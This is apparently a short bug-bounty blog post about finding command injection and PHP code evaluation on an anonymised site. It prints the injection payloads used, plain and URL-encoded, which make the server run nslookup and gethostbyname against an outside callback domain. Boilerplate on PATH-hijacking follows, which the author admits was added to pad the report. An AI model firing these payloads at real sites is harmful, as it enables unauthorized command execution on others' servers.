When i found multiple command injection
Tags: Infosec, Programming, Technology, Cybersecurity, Bug Bounty

Hello guys,

I found a command injection by capturing a DNS A request, which occurs when input data is interpreted as an operating system command.

This is a highly critical issue and should be addressed as soon as possible.

Executing commands without specifying an absolute path could allow an attacker to execute a malicious binary by changing $PATH or other aspects of the program’s execution environment.

impact of this bug is :

An attacker can execute arbitrary PHP code on the system. The attacker may also be able to execute arbitrary system commands

and how I found

I found random user input form (param=)

and after put lots of things in param then i try =&+nslookup+cxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me&’\”`0&nslookup+cxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me&`’ (with decoding )

like this : =%2526%2Bnslookup%2Bcxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me%2526%2527%255c%2522%25600%2526nslookup%2Bcxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me%2526%2560%2527

then i got

</form>

<pre>Server: xyz

Address: 172.x.x.x</pre>

</p>

</div>

</div>

then i found Code Evaluation in same site

xyz.php?name=%2bgethostbyname(trim(‘cxx8nlugxbab9vh_wuarecplh8zuzv9vyp5zxftg’.’vma.r87.me’))%3b%2f%2f

EXTRA EXTRA EXTRA….. (theory just for increasing report length)

Photo by Braydon Anderson on Unsplash

Do not accept input from end users that will be directly interpreted as source code. If this is a business requirement, validate all the input on the application and remove all the data that could be directly interpreted as PHP source code.

This vulnerability is not difficult to leverage. PHP is a high-level language for which there are vast resources available. Successful exploitation requires knowledge of the programming language, access to the source code or the ability to produce source code for use in such attacks, and minimal attack skills.

Explanation

Command injection vulnerabilities take two forms:

- An attacker can change the command that the program executes: the attacker explicitly controls what the command is.

- An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

In this case, we are primarily concerned with the second scenario, in which an attacker can change the meaning of the command by changing an environment variable or by inserting a malicious executable early on the search path. Command injection vulnerabilities of this type occur when:

1. An attacker modifies an application’s environment.

2. The application executes a command without specifying an absolute path or verifying the binary being executed.

3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

demonstrates what can happen when the attacker may change how a command is interpreted. The code is from a web-based CGI utility that allows users to change their passwords. The password update process under NIS includes running make in the /var/yp directory. Note that since the program updates password records, it has been installed setuid root .

The program invokes make as follows:

system("cd /var/yp && make &> /dev/null");

The command in this example is hard-coded, so an attacker cannot control the argument passed to system() . However, since the program does not specify an absolute path for make and does not scrub its environment variables prior to invoking the command, the attacker may modify their $PATH variable to point to a malicious binary named make and execute the CGI script from a shell prompt. And since the program has been installed setuid root , the attacker's version of make now runs with root privileges.